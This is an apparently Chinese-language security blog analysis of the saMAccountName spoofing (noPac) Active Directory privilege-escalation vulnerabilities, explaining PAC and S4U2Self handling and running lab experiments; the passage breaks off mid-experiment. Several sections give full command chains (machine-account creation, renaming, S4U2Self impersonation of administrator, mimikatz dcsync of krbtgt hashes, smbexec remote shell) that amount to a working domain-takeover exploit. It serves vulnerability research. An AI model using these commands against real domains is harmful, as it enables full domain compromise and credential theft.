漏洞背景和描述
2021年11月9日,微软发布11月份安全补丁更新。在该安全补丁更新中,修复了两个域内提权漏洞CVE-2021-42287/CVE-2021-42278。但是当时这两个漏洞的利用详情和POC并未公布出来,因此并未受到太多人关注。
传送门:
https://msrc.microsoft.com/update-guide/zh-cn/vulnerability/CVE-2021-42278
https://msrc.microsoft.com/update-guide/zh-cn/vulnerability/CVE-2021-42287
一个月后的12.10日,国外安全研究员公布了针对CVE-2021-42287/CVE-2021-42278的漏洞细节,并且exp也很快被放出来了。至此,这个最新的域内提权漏洞才受到大家的广泛关注,该漏洞被命名为saMAccountName spoofing漏洞。该漏洞允许攻击者在仅有一个普通域账号的场景下,利用该漏洞接管全域,危害极大。
如下图,一条命令即可获得域控的最高权限!
漏洞影响版本
- 未打补丁的全版本Windows机器
漏洞攻击链原理
我也在第一时间复现了该漏洞,并好奇这个漏洞的原理是什么。首先我找到了微软对于这个漏洞的补丁描述.
传送门:[KB5008380—Authentication updates (CVE-2021-42287)](https://support.microsoft.com/en-us/topic/kb5008380-authentication-updates-cve-2021-42287-9dafac11-e0d0-4cb8-959a-143bd0201041)
其中最后一句话描述的是在安装了该补丁的更新后。在以后的Kerberos认证过程中,PAC将会被添加到所有账户的TGT认购权证中,即使是那些以前明确拒绝PAC的用户。
因此我认为的是这个漏洞跟PAC有关,就跟MS14-068一样,是PAC认证过程产生的漏洞。并且我看很多exp工具直接命名为noPac,网上很多文章也说的是跟PAC有关,再结合微软对于该补丁的描述,脑中闪现的第一反应是觉得该漏洞产生的主要原因是因为攻击者在Kerberos认证过程的AS-REQ请求TGT认购权证阶段,协商拒绝PAC,导致KDC返回一张不带有PAC的TGT认购权证。而后结合CVE-2021-42278 Name impersonation漏洞,通过伪造一个与域控名字相同的机器用户,使得KDC在验证TGS-REQ的过程中,误以为请求的客户端是域控。再由于TGT认购权证中没有PAC,因此KDC在TGS-REP阶段重新生成了一个具有域控高权限的PAC在ST服务票据中,导致权限提升!这一切猜想顺理成章!
但是经过后来实验和分析,发现这个是错误的!
我们使用WireShark针对漏洞利用过程进行抓包,抓到如下Kerberos数据包:
前两个包主要是判断目标域需不需要预认证,不需关注。
我们来看第三个AS-REQ请求包,按理说,第三个包应该在协商请求中协商不带有PAC,但是我们打开该包发现,在协商请求中,include-pac参数依然是True。也就是说,这个AS-REQ请求的TGT认购权证中是带有PAC的!这与之前的猜想有出入!
继续查看第五个TGS-REQ请求包,在包中发现了pA-FOR-USER字段,该字段是S4U2Self协议特有的。而S4U2Self协议我们只在委派中见过。
我们好奇,为啥在TGS-REQ请求阶段使用到了S4U2Self协议呢?按照我们之前的猜想,这个阶段应该是直接使用上一步的TGT认购权证请求目标域控的ST服务票据的。但是实际抓包却不是如此,涉及到了跟委派有关的S4U2Self协议。那么,这个洞会跟委派有关系吗?
带着这个疑问,我们进行了以下的分析,让我们来分析下该漏洞的原理到底是什么?
漏洞核心点
首先,我查看了下网上泄露的XP源代码,找到了漏洞问题的所在。
通过查看网上泄露的xp源代码中关于kerberos的处理流程,我们可以清楚的看到漏洞产生的真正核心原因是在处理UserName字段时的错误,如下图代码:
首先,如果找不到 UserName 的话,KDC会继续查找 UserName$ 。
如果还是查找不到的话,KDC会继续查找altSecurityIdentities属性的值的用户。
正是因为这个处理逻辑,导致了漏洞的产生!但是光有这个处理逻辑还是不够形成一个完整的攻击链。还得找到能触发这个的点,那么如何能让KDC找不到之前的用户呢?这里有两种方式:
- 跨域请求:跨域请求时,目标域活动目录数据库是找不到其他域的用户的,因此会走进这个处理UserName的逻辑。
- 修改saMAccountName属性:在当前域,可以通过修改saMAccountName属性让KDC找不到用户,然后走进这个处理UserName的逻辑。
但是这还是不够,仅仅让KDC走进这个处理UserName的逻辑,还不能伪造高权限。因为票据中代表用户身份权限是数据块是PAC。而TGT认购权证中的PAC是根据预认证身份信息生成的,这个我们无法伪造。因此得想办法在ST服务票据中进行伪造。而正常的ST服务票据中的PAC是直接拷贝TGT认购权证中的。因此,得想办法让KDC在TGS-REP的时候重新生成PAC,而不是拷贝TGT票据中的PAC。这里也有两种方式:
- S4U2Self请求:KDC在处理S4U2Self类型的TGS-REQ请求时,PAC是重新生成的。
- 跨域无PAC的TGT票据进行TGS请求:KDC在处理跨域的TGS-REQ请求时,如果携带的TGT认购权证中没有PAC,PAC会重新生成。
好了,现在有了一个完整的攻击链了!
接下来让我们来看看什么是PAC?以及S4U2Self请求和跨域无PAC的TGT票据的TGS请求时PAC的处理。
PAC特权属性证书
我们先来看看PAC是什么?
PAC (Privilege Attribute Certificate,特权属性证书),其中所包含的是各种授权信息,例如用户RID,所属组的RID等。在最初的RFC1510中规定的标准Kerberos认证过程中并没有PAC,微软在自己的产品中所实现的Kerberos流程加入了PAC的概念,因为在域中不同权限的用户能够访问的资源是不同的,因此微软设计PAC用来辨别用户身份和权限。
PAC结构
PAC的顶部结构如下:
```python
typedef unsigned long ULONG;
typedef unsigned short USHORT;
typedef unsigned long64 ULONG64;
typedef unsigned char UCHAR;typedef struct _PACTYPE {
ULONG cBuffers;
ULONG Version;
PAC_INFO_BUFFER Buffers[1];
} PACTYPE;
```
这些顶部字段的定义如下:
- cBuffers:包含数组缓冲区中的条目数。
- Version:版本
- Buffers:包含一个PAC_INFO_BUFFER结构的数组。
而PAC_INFO_BUFFER结构包含了关于PAC的每个部分的信息,这部分是最重要的,结构如下:
```python
typedef struct _PAC_INFO_BUFFER {
ULONG ulType;
ULONG cbBufferSize;
ULONG64 Offset;
} PAC_INFO_BUFFER;
```
类型字段的定义如下:
- **ulType**:包含此缓冲区中包含的数据的类型。它可能是以下之一:
- - Logon Info (1)
- Client Info Type(10)- - UPN DNS Info (12)
- Sserver Cechksum (6)- - Privsvr Cechksum (7)
- **cbBufferSize**:缓冲大小
- **Offset**:缓冲偏移量
如下图:
PAC凭证信息
LOGON INFO类型的PAC_LOGON_INFO包含Kerberos票据客户端的凭据信息。数据本身包含在一个KERB_VALIDATION_INFO结构中,该结构是由NDR编码的。NDR编码的输出被放置在LOGON INFO类型的PAC_INFO_BUFFER结构中。如下:
```python
typedef struct _KERB_VALIDATION_INFO {
FILETIME Reserved0;
FILETIME Reserved1;
FILETIME KickOffTime;
FILETIME Reserved2;
FILETIME Reserved3;
FILETIME Reserved4;
UNICODE_STRING Reserved5;
UNICODE_STRING Reserved6;
UNICODE_STRING Reserved7;
UNICODE_STRING Reserved8;
UNICODE_STRING Reserved9;
UNICODE_STRING Reserved10;
USHORT Reserved11;
USHORT Reserved12;
ULONG UserId;
ULONG PrimaryGroupId;
ULONG GroupCount;
[size_is(GroupCount)] PGROUP_MEMBERSHIP GroupIds;
ULONG UserFlags;
ULONG Reserved13[4];
UNICODE_STRING Reserved14;
UNICODE_STRING Reserved15;
PSID LogonDomainId;
ULONG Reserved16[2];
ULONG Reserved17;
ULONG Reserved18[7];
ULONG SidCount;
[size_is(SidCount)] PKERB_SID_AND_ATTRIBUTES ExtraSids;
PSID ResourceGroupDomainSid;
ULONG ResourceGroupCount;
[size_is(ResourceGroupCount)] PGROUP_MEMBERSHIP ResourceGroupIds;
} KERB_VALIDATION_INFO;
```
如下图,主要还是关注以下几个字段:
- Acct Name:该字段对应的值是用户sAMAccountName属性的值
- Full Name:该字段对应的值是用户displayName属性的值- User RID:该字段对应的值是用户的RID,也就是用户SID的最后部分
- Group RID:对于该字段,域用户的Group RID恒为513(也就是Domain Users的RID),机器用户的Group RID恒为515(也就是Domain Computers的RID)- Num RIDS:用户所属组的个数
- GroupIDS:用户所属的所有组的RID
PAC Request Pre-Auth Data
通常,PAC包含在从AS请求收到的每个经过预认证的票据中。然而,客户端也可以明确地请求包括或不包括PAC。这是通过发送PAC请求预审数据来完成的。
```python
KERB-PA-PAC-REQUEST ::= SEQUENCE {
include-pac[0] BOOLEAN -- if TRUE, and no pac present,
-- include PAC.
---If FALSE, and pac
-- PAC present, remove PAC
}
```
这个字段表示是否应该包含一个PAC。如果该值为TRUE,则返回的票据中包含PAC。如果该值为FALSE,则返回的票据中不包含PAC。
也就是说,客户端确实可以通过指定字段来值来要求KDC在返回的票据中是否包含PAC。
正常Kerberos流程中的PAC
要想理解下面这部分,首先需要熟悉Kerberos协议的整个流程。但是这里我只阐述Kerberos认证过程中与PAC有关的部分。如果想更详细系统的学习Kerberos协议的话,可以关注我马上将要出版的书籍《域渗透实战攻防》!
在一个正常的Kerberos认证流程中,KDC返回的TGT认购权证和ST服务票据中都是带有PAC的。如下图是AS-REQ&AS-REP过程,可以清楚的看到,KDC的AS-REP消息中,PAC是包含在TGT认购权证中的。
那么,TGT认购权证中这个PAC是如何生成的呢?
KDC在收到客户端发来的AS-REQ请求后,从请求中取出cname字段,然后查询活动目录数据库,找到sAMAccountName属性为cname字段的值的用户,用该用户的身份生成一个对应的PAC。
接下来,在TGS-REQ&TGS-REP请求ST服务票据的过程中,客户端带着上一步请求到的TGT认购权证请求访问指定服务的ST服务票据。KDC在验证客户端的身份后,会返回ST服务票据。如下图是TGS-REQ&TGS-REP过程,可以清楚的看到,KDC的TGS-REP消息中,PAC是包含在ST服务票据中的。
那么,ST服务票据中这个PAC是如何生成的呢?
KDC收到TGT认购权证后,利用krbtgt密钥对其解密,然后取出PAC。然后验证PAC的签名,如果签名正确,则证明PAC未经过篡改。然后将TGT认购权证中的PAC直接拷贝到ST服务票据中。也就是说,ST服务票据中的PAC和TGT认购权证中的PAC是一致的。(但是这只是正常的TGS-REQ请求,如果是S4u2Self&S4u2Proxy请求的话,ST服务票据中的PAC是重新生成的,请看下文)
这个流程我们可以从网上泄露的xp源代码中看到:
当然,如果TGT认购权证中没有PAC的话,KDC在拷贝PAC的时候,也是拷贝的空的,这就意味着ST服务票据中也没有PAC!
后续服务端收到客户端发来的ST服务票据后,会用服务密钥对其进行解密,取出PAC里面关于用户的信息生成对应权限的访问令牌,然后对比服务的ACL进行鉴权。有权限访问的话,则返回该服务。无权限访问的话,则不返回服务。
以上就是正常的Kerberos认证过程中的PAC。
通过下面实验一、二、三可以验证我们的这个结论。
官方:[[MS-PAC\]: Privilege Attribute Certificate Data Structure](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/166d8064-c863-41e1-9c23-edaaa5f36962)
S4U2Self协议
为了在Kerberos协议层面对委派的支持,微软对Kerberos协议扩展了两个自协议 S4u2self(Service for User to Self) 和 S4u2Proxy (Service for User to Proxy )。S4u2self 可以代表任意用户请求针对自身的ST服务票据;S4u2Proxy可以用上一步获得的ST服务票据以用户的名义请求针对其它指定服务的ST服务票据。这里我们着重来看看S4u2self协议。
S4u2self 可以代表任意用户请求针对自身的ST服务票据。当用户以其他方式:如NTLM认证、基于表单的认证等方式与Web服务进行认证后,用户是无法向Web服务器提供请求该服务的ST服务票据。因而服务器也无法进一步使用S4U2Proxy协议请求访问其他服务。S4U2Self协议便是解决该问题的方案,被配置为约束性委派的服务账号能够调用S4U2Self协议向KDC申请为任意用户请求访问自身的ST服务票据。
官方:[[MS-SFU\]: Kerberos Protocol Extensions: Service for User and Constrained Delegation Protocol](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/3bff5864-8135-400e-bdd9-33b552051d94)
如下图是使用 S4U2Self协议请求ST服务票据。
注:虽然S4U2Self协议允许服务代表用户向KDC请求一张访问自身服务的ST服务票据,但是此协议扩展不允许服务代表用户向KDC请求访问其他服务的ST服务票据。
KDC收到S4u2self TGS-REQ后PAC的处理
KDC收到客户端发来的TGS-REQ S4U2Self协议,在验证了客户端是否具有发起S4U2Self协议权限后,会根据S4U2Self协议中模拟的用户生成对于权限的PAC,然后放在ST服务票据中,并不会复用TGT认购权证中的PAC!
官方:[KDC Receives S4U2self KRB_TGS_REQ](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/c98bade9-cad1-4745-bd4d-d13926103022)
跨域TGS请求
通过查看网上泄露的xp源代码可以看到如下。如果请求的TGT票据没有PAC的话,如果是当前域的请求,则ST服务票据也没有PAC。如果是其他域的话,则会重新生成一个PAC!
实验
接下来我们做几个实验验证我们的结论。以下实验采用的是控制变量法,即每次测试环境只变化一个变量。
1:使用低权限用户正常Kerberos认证访问服务
如下,提供低权限普通域用户hack正确的账号密码,进行一次正常的Kerberos认证,然后请求相应的服务,看能否利用低权限hack用户访问高权限服务。
```python
#以域管理员身份请求正常的TGT认购权证
Rubeus.exe asktgt /user:"hack" /password:"P@ss1234" /domain:"xie.com" /dc:"AD01.xie.com" /nowrap /ptt
#用该正常的TGT认购权证请求访问ad01.xie.com的ldap服务
Rubeus.exe asktgs /service:"ldap/ad01.xie.com" /nowrap /ptt /ticket:上一步请求的TGT票据
#导出krbtgt用户的哈希
mimikatz.exe "lsadump::dcsync /domain:xie.com /user:krbtgt /csv" "exit"
```
如下图,用hack身份请求一个TGT认购权证,该TGT认购权证中包含PAC。
接着用该包含PAC的TGT认购权证请求ldap/ad01.xie.com的ST服务票据,可以看到返回了一个带有PAC的ST服务票据并导入到内存中。
最后尝试访问指定高权限服务,发现失败!很正常,也在我们意料之中。
我们在利用过程中使用wireshark抓包,并对kerberos认证流量的加密部分进行解密,如下图,我们首先来看AS-REP回复包中TGT认购权证中的PAC,可以看到User RID为1154、Group RID为513。
TGS-REP回复包中ST服务票据中的PAC,可以看到User RID为1154、Group RID为513。
而RID为1154的用户就是hack,RDI为513的组为Domain Users。
这和我们的认知是一样的,ST服务票据中的PAC是直接复用的TGT认购权证,因此ST服务票据中的PAC对应的还是低权限的hack,因此无法访问高权限服务。
2:使用高权限用户正常Kerberos认证访问服务
如下,提供高权限域管理员用户administrator正确的账号密码,进行一次正常的Kerberos认证,然后请求相应的服务,访问高权限服务。
```python
#以域管理员身份请求正常的TGT认购权证
Rubeus.exe asktgt /user:"administrator" /password:"P@ssword1234" /domain:"xie.com" /dc:"AD01.xie.com" /nowrap /ptt
#用该正常的TGT认购权证请求访问ad01.xie.com的ldap服务
Rubeus.exe asktgs /service:"ldap/ad01.xie.com" /nowrap /ptt /ticket:上一步请求的TGT票据
```
如下图,用administrator身份请求一个TGT认购权证,该TGT认购权证中包含PAC。
接着用该包含PAC的TGT认购权证请求ldap/ad01.xie.com的ST服务票据,可以看到返回了一个带有PAC的ST服务票据并导入到内存中。
最后尝试访问指定高权限服务,访问成功!很正常,也在我们意料之中。
```python
#导出krbtgt用户的哈希
mimikatz.exe "lsadump::dcsync /domain:xie.com /user:krbtgt /csv" "exit"
```
我们在利用过程中使用wireshark抓包,并对kerberos认证流量的加密部分进行解密,如下图,我们首先来看AS-REP回复包中TGT认购权证中的PAC,可以看到User RID为500、Group RID为513。
TGS-REP回复包中ST服务票据中的PAC,可以看到User RID为500、Group RID为513。
而RID为500的用户就是administrator,RDI为513的组为Domain Users。
这和我们的认知是一样的,ST服务票据中的PAC是直接复用的TGT认购权证,因此ST服务票据中的PAC对应的还是高权限的administrator,因此可以访问高权限服务。
3:使用高权限用户kerberos认证,TGT阶段请求不要PAC
接下来,我们测试下,提供高权限域管理员administrator正确的账号密码,在正常的Kerberos流程的AS-REQ阶段,请求不带有PAC的TGT认购权证,然后请求相应的服务,看看结果如何?
```python
#以域管理员身份请求不带PAC的TGT认购权证
Rubeus.exe asktgt /user:"administrator" /password:"P@ssword1234" /domain:"xie.com" /dc:"AD01.xie.com" /nowrap /ptt /nopac
#用该不带PAC的TGT认购权证请求访问cifs/ad01.xie.com服务
Rubeus.exe asktgs /service:"ldap/ad01.xie.com" /nowrap /ptt /ticket:上一步请求的TGT票据
```
如下图,用administrator身份请求一个不带有PAC的TGT认购权证,可以看到打印出来的TGT认购权证小了好多,主要是因为少了PAC。
然后用该不带PAC的TGT认购权证请求ldap/ad01.xie.com的ST服务票据,可以看到返回的ST服务票据也不带有PAC,大小小了好多。
此时使用这个不带PAC的ST服务票据请求访问服务,被拒绝。因为KDC不知道用户的权限。
可以看到AS-REP和TGS-REP返回的票据中都没有authorization-data部分,自然也就没有PAC。
这也和我们的认知是是一样的,TGT认购权证中没有PAC的话,同域请求ST服务票据中也是没有PAC的。因此,即使是使用administrator身份请求的票据,由于没有PAC代表其身份,也无法访问高权限服务!
4:修改saMAccountName属性正常TGS-REQ不带PAC
首先创建一个机器用户machine$,然后将其saMAccountName属性设置为域控机器名AD01。接着用该帐户请求一张不带有PAC的TGT认购权证。再将该机器用户的saMAccountName属性还原,然后用该不带有PAC的TGT认购权证请求这个访问域控AD01指定的服务,看是否能访问。
```python
#创建机器用户machine$
python3 addcomputer.py -computer-name 'machine' -computer-pass 'root' -dc-ip 10.211.55.4 'xie.com/hack:P@ss1234' -method SAMR -debug
##将机器用户machine的saMAccountName属性修改为AD01
python3 renameMachine.py -current-name 'machine$' -new-name 'AD01' -dc-ip AD01.xie.com xie.com/hack:P@ss1234
#请求不带有PAC的TGT认购权证
Rubeus.exe asktgt /user:"AD01" /password:"root" /domain:"xie.com" /dc:"AD01.xie.com" /nowrap /ptt /nopac
#将机器用户machine的saMAccountName属性恢复为machine$
python3 renameMachine.py -current-name 'AD01' -new-name 'machine$' -dc-ip AD01.xie.com xie.com/hack:P@ss1234
#用这个不带有PAC的TGT认购权证,请求ldap/ad01.xie.com的ST服务票据
Rubeus.exe asktgs /service:"ldap/ad01.xie.com" /nowrap /ptt /ticket:上一步不带PAC的TGT认购权证
#使用mimikatz的dcsync功能看能否成功访问
mimikatz.exe "lsadump::dcsync /domain:xie.com /user:krbtgt /csv" "exit"
```
首先创建机器用户machine$,然后修改机器用户machine$的saMAccountName属性为AD01。
然后用该机器用户请求一张不带有PAC的TGT认购权证,如下图,没有PAC大小小了很多。
接着将机器用户machine$的saMAccountName属性还原。
然后用该不带PAC的TGT认购权证请求访问ad01.xie.com的ldap服务。此时还是返回不带有PAC的ST服务票据。
即使将该不带PAC的ST服务票据导入内存中,也无法访问指定服务。
这其实是最初猜想的攻击方式,也是网上很多文章说的漏洞原理。但是事实却不是这样。仔细想想,只要TGT票据中不带有PAC,不管是用什么用户请求的票据,ST服务票据中也不会带有PAC。因此也就没有权限访问任何服务!
5:修改saMAccountName属性正常TGS-REQ带PAC
首先创建一个机器用户machine$,然后将其saMAccountName属性为ad01。请求一张带有PAC的正常的TGT认购权证。再将该机器用户的saMAccountName属性还原,然后用带有PAC的TGT票据请求这个访问域控ad01指定的服务,看是否能访问。
```python
#创建机器用户machine$
python3 addcomputer.py -computer-name 'machine' -computer-pass 'root' -dc-ip 10.211.55.4 'xie.com/hack:P@ss1234' -method SAMR -debug
##将机器用户machine的saMAccountName属性修改为AD01
python3 renameMachine.py -current-name 'machine$' -new-name 'AD01' -dc-ip AD01.xie.com xie.com/hack:P@ss1234
#请求带有PAC的正常的TGT认购权证
Rubeus.exe asktgt /user:"AD01" /password:"root" /domain:"xie.com" /dc:"AD01.xie.com" /nowrap /ptt
#将机器用户machine的saMAccountName属性恢复为machine$
python3 renameMachine.py -current-name 'AD01' -new-name 'machine$' -dc-ip AD01.xie.com xie.com/hack:P@ss1234
#用这个带有PAC的正常的TGT认购权证,请求ldap/ad01.xie.com的ST服务票据
Rubeus.exe asktgs /service:"ldap/ad01.xie.com" /nowrap /ptt /ticket:上一步带PAC的TGT认购权证
#使用mimikatz的dcsync功能看能否成功访问
mimikatz.exe "lsadump::dcsync /domain:xie.com /user:krbtgt /csv" "exit"
```
首先创建机器用户machine$,然后修改机器用户machine$的saMAccountName属性为AD01。
然后用该机器用户请求一张带有PAC的正常的TGT认购权证。
接着将机器用户machine$的saMAccountName属性还原。
然后用这个带PAC的正常的TGT认购权证请求访问ad01.xie.com的ldap服务。此时返回带有PAC的正常的ST服务票据。
将该带PAC的ST服务票据导入内存中,也无法访问指定服务。
我们在利用过程中使用wireshark抓包,并对kerberos认证流量的加密部分进行解密。我们发现,在TGT认购权证和ST服务票据中的PAC是一致的,User RID为1159、Group RID为515。
而RID为1159的用户就是machine机器用户,RDI为515的组为Domain Computers。
这确实与我们的认知是一样的,在AS-REP阶段生成的PAC是从AS-REQ中取出的cname字段,然后查询活动目录数据库,找到sAMAccountName属性为cname字段的值的用户,用该用户的身份生成一个对应的PAC。此时生成的是machine$机器用户的PAC。后来在TGS-REP阶段的PAC是直接复制的AS-REP阶段的PAC。因此,不管machine$机器用户的saMAccountName属性如何修改,ST服务票据中的PAC依然是machine$机器用户的!
6:S4U2Self带PAC(exp)
这是域内利用真正的攻击过程!
首先创建一个机器用户machine$,然后将其saMAccountName属性为ad01。请求一张带有PAC的正常的TGT认购权证。再将该机器用户的saMAccountName属性还原,然后用带有PAC的TGT认购权证利用S4u2Self协议请求访问ldap/AD01.xie.com的ST服务票据。
```python
#创建机器用户machine$
python3 addcomputer.py -computer-name 'machine' -computer-pass 'root' -dc-ip 10.211.55.4 'xie.com/hack:P@ss1234' -method SAMR -debug
##将机器用户machine的saMAccountName属性修改为AD01
python3 renameMachine.py -current-name 'machine$' -new-name 'AD01' -dc-ip AD01.xie.com xie.com/hack:P@ss1234
#请求带有PAC的正常的TGT认购权证
Rubeus.exe asktgt /user:"AD01" /password:"root" /domain:"xie.com" /dc:"AD01.xie.com" /nowrap /ptt
#将机器用户machine的saMAccountName属性恢复为machine$
python3 renameMachine.py -current-name 'AD01' -new-name 'machine$' -dc-ip AD01.xie.com xie.com/hack:P@ss1234
#用这个带有PAC的正常的TGT认购权证,利用S4u2Self协议请求访问ldap/AD01.xie.com的ST服务票据。
Rubeus.exe s4u /self /impersonateuser:"administrator" /altservice:"ldap/AD01.xie.com" /dc:"AD01.xie.com" /ptt /ticket:上一步带PAC的TGT认购权证
#使用mimikatz的dcsync功能看能否成功访问
mimikatz.exe "lsadump::dcsync /domain:xie.com /user:krbtgt /csv" "exit"
```
首先创建机器用户machine$,然后修改机器用户machine$的saMAccountName属性为ad01。
然后用该机器用户请求一张带有PAC的正常的TGT认购权证。
接着将机器用户machine$的saMAccountName属性还原。
然后用这个带PAC的正常的TGT认购权证利用S4u2Self协议请求访问ldap/AD01.xie.com的ST服务票据,并且将票据导入内存中
可以看到执行高权限操作成功!
这是真正的域内攻击利用过程。当发起S4u2Self请求是,KDC会重新生成PAC。而此时我们修改了机器用户的saMAccountName属性,导致KDC找不到用户,因此会查找AD01$,此时找到了域控。域控利用S4u2Self协议模拟域管理员访问自身的SPN服务,这是正常的。因此返回一张具有管理员权限访问域控服务的ST服务票据。
7:S4U2Self不带PAC
首先创建一个机器用户machine$,然后将其saMAccountName属性为ad01。然后请求一张不带有PAC的TGT认购权证。再将该机器用户的saMAccountName属性还原,然后用该不带有PAC的TGT认购权证利用S4u2Self协议请求访问ldap/AD01.xie.com的ST服务票据,看看结果如何!
```python
#创建机器用户machine$
python3 addcomputer.py -computer-name 'machine' -computer-pass 'root' -dc-ip 10.211.55.4 'xie.com/hack:P@ss1234' -method SAMR -debug
##将机器用户machine的saMAccountName属性修改为AD01
python3 renameMachine.py -current-name 'machine$' -new-name 'AD01' -dc-ip AD01.xie.com xie.com/hack:P@ss1234
#请求不带有PAC的TGT认购权证
Rubeus.exe asktgt /user:"AD01" /password:"root" /domain:"xie.com" /dc:"AD01.xie.com" /nowrap /ptt /nopac
#将机器用户machine的saMAccountName属性恢复为machine$
python3 renameMachine.py -current-name 'AD01' -new-name 'machine$' -dc-ip AD01.xie.com xie.com/hack:P@ss1234
#用这个不带有PAC的TGT认购权证,利用S4u2Self协议请求访问ldap/AD01.xie.com的ST服务票据。
Rubeus.exe s4u /self /impersonateuser:"administrator" /altservice:"ldap/AD01.xie.com" /dc:"AD01.xie.com" /ptt /ticket:上一步带PAC的TGT认购权证
#使用mimikatz的dcsync功能看能否成功访问
mimikatz.exe "lsadump::dcsync /domain:xie.com /user:krbtgt /csv" "exit"
```
首先创建机器用户machine$,然后修改机器用户machine$的saMAccountName属性为ad01。
然后用该机器用户请求一张不带有PAC的TGT认购权证。
接着将机器用户machine$的saMAccountName属性还原。
然后用这个不带PAC的TGT认购权证利用S4u2Self协议请求访问ldap/AD01.xie.com的ST服务票据,可以看到报错KRB_ERR_GENERIC!!
这主要是因为S4u2Self阶段KDC无法验证客户端的身份。因为KDC无法从TGT认购权证中取出PAC,因此返回KRB_ERR_GENERIC错误。
8:S4U2Self带PAC不还原saMAccountName属性
首先创建一个机器用户machine$,然后将其saMAccountName属性为ad01。请求一张带有PAC的正常的TGT认购权证。此时不将该机器用户的saMAccountName属性还原,然后用该不带有PAC的TGT认购权证利用S4u2Self协议请求访问ldap/AD01.xie.com的ST服务票据。
```python
#新建机器用户machine,密码为root
python3 addcomputer.py -computer-name 'machine' -computer-pass 'root' -dc-ip 10.211.55.4 'xie.com/hack:P@ss1234' -method SAMR
#将机器用户machine的saMAccountName属性修改为AD01
python3 renameMachine.py -current-name 'machine$' -new-name 'AD01' -dc-ip AD01.xie.com xie.com/hack:P@ss1234
#以machine用户身份请求TGT认购权证,用户名为saMAccountName属性值
python3 getTGT.py -dc-ip AD01.xie.com xie/ad01:root
#导入TGT认购权证
export KRB5CCNAME=ad01.ccache
#用上一步的TGT认购权证,以administrator的身份请求访问ad01.xie.com的cifs服务
python3 getST.py -spn cifs/ad01.xie.com xie/ad01@10.211.55.4 -no-pass -k -dc-ip 10.211.55.4 -impersonate administrator -self
```
如下图,在请求ST服务票据的过程中提示如下错误。
```python
[-] Kerberos SessionError: KRB_AP_ERR_BADMATCH(Ticket and authenticator don't match)
```
这也在意料之中,主要是因为如果不还原saMAccountName属性的话,KDC在S4U2Self阶段就能正常找到AD01用户。而此时cifs/ad01.xie.com是域控AD01$的SPN。因此使用AD01账号模拟administrator身份请求一个域控AD01$的SPN是肯定报错的,AD01用户只能利用S4U2Self协议模拟任意用户访问自身的SPN!
如下可以看到,机器用户只能利用S4U2Self协议访问自身的SPN服务。
```python
#win10机器用户模拟任意用户访问自身的SPN cifs/win10.xie.com
python3 getST.py -spn cifs/win10.xie.com -dc-ip AD01.xie.com xie.com/win10\$ -hashes aad3b435b51404eeaad3b435b51404ee:3db5e5e43b3b260de0b058d9b82523fe -impersonate administrator -self
#win10机器用户模拟默认任意用户访问其他的SPN,如cifs/mail.xie.com
python3 getST.py -spn cifs/mail.xie.com -dc-ip AD01.xie.com xie.com/win10\$ -hashes aad3b435b51404eeaad3b435b51404ee:3db5e5e43b3b260de0b058d9b82523fe -impersonate administrator -self
```
如下,域内机器win10$可以利用S4U2Self协议模拟任意用户访问自身的SPN cifs/win10.xie.com,但是无法模拟任意用户访问其他的SPN,如cifs/mail.xie.com,可以看到报错是一样的!
9:攻击域内其他机器
首先创建一个机器用户machine$,然后将其saMAccountName属性为win10。请求一张带有PAC的正常的TGT认购权证。再将该机器用户的saMAccountName属性还原,然后用该带有PAC的TGT认购权证利用S4u2Self协议请求访问cifs/win10.xie.com的ST服务票据。
```python
#创建机器用户machine$
python3 addcomputer.py -computer-name 'machine' -computer-pass 'root' -dc-ip 10.211.55.4 'xie.com/hack:P@ss1234' -method SAMR -debug
##将机器用户machine的saMAccountName属性修改为win10
python3 renameMachine.py -current-name 'machine$' -new-name 'win10' -dc-ip AD01.xie.com xie.com/hack:P@ss1234
#请求带有PAC的正常的TGT认购权证
python3 getTGT.py -dc-ip AD01.xie.com xie/win10:root
#导入TGT认购权证
export KRB5CCNAME=win10.ccache
#将机器用户machine的saMAccountName属性恢复为machine$
python3 renameMachine.py -current-name 'win10' -new-name 'machine$' -dc-ip AD01.xie.com xie.com/hack:P@ss1234
#用这个带有PAC的正常的TGT认购权证,利用S4u2Self协议请求访问cifs/win10.xie.com的ST服务票据。
python3 getST.py -spn cifs/win10.xie.com xie/win10@10.211.55.4 -no-pass -k -dc-ip 10.211.55.4 -impersonate administrator -self
#导入ST服务票据
export KRB5CCNAME=administrator.ccache
#远程连接win10
python3 smbexec.py -no-pass -k win10.xie.com
```
首先创建机器用户machine$,然后修改机器用户machine$的saMAccountName属性为MAIL。
然后用该机器用户请求一张带有PAC的正常的TGT认购权证
接着将机器用户machine$的saMAccountName属性还原。
然后用这个带PAC的正常的TGT认购权证利用S4u2Self协议请求访问ldap/AD01.xie.com的ST服务票据,并且将票据导入内存中
然后远程连接win10,可以看到连接成功!
从这个实验我们可以看到,KDC并不会校验发起S4u2Self请求的账号是否具有权限发起S4u2Self,其实这也是saMAccountName spoofing漏洞能成功的原因。因为原则上来说,KDC应该校验发起S4u2Self请求的账号是否配置了约束性委派或者基于资源的约束性委派,而KDC却是在S4u2Proxy里进行校验的。
10:攻击域用户
可能很多人会问了,既然针对机器用户可以修改saMAccountName属性来假冒域控。那么,针对普通域用户能否修改saMAccountName属性来假冒域控从而发起攻击呢?
答案是可以的!
但是在实际场景中,默认情况下,只有域管理员等域内高权限用户有权修改普通域用户的saMAccountName属性,因此针对域用户的攻击在实际场景中意义不大。
我们可以做个小实验来验证这一点。
如下有普通域用户hack,密码为P@ss1234。以下是针对普通域用户hack来发起攻击,在修改saMAccountName属性时使用的是域管理员权限去修改!
```python
#将普通域用户hack的saMAccountName属性修改为AD01
python3 renameMachine.py -current-name 'hack' -new-name 'AD01' -dc-ip AD01.xie.com xie.com/administrator:P@ssword1234
#以hack用户身份请求TGT认购权证,用户名为saMAccountName属性值
python3 getTGT.py -dc-ip AD01.xie.com xie/ad01:P@ss1234
#导入TGT认购权证
export KRB5CCNAME=ad01.ccache
#将hack用户的saMAccountName属性恢复为hack
python3 renameMachine.py -current-name 'AD01' -new-name 'hack' -dc-ip AD01.xie.com xie.com/administrator:P@ssword1234
#用上一步的TGT认购权证,以administrator的身份请求访问ad01.xie.com的cifs服务
python3 getST.py -spn cifs/ad01.xie.com xie/ad01@10.211.55.4 -no-pass -k -dc-ip 10.211.55.4 -impersonate administrator -self
#导入ST服务票据
export KRB5CCNAME=administrator.ccache
#导出域内krbtgt用户哈希
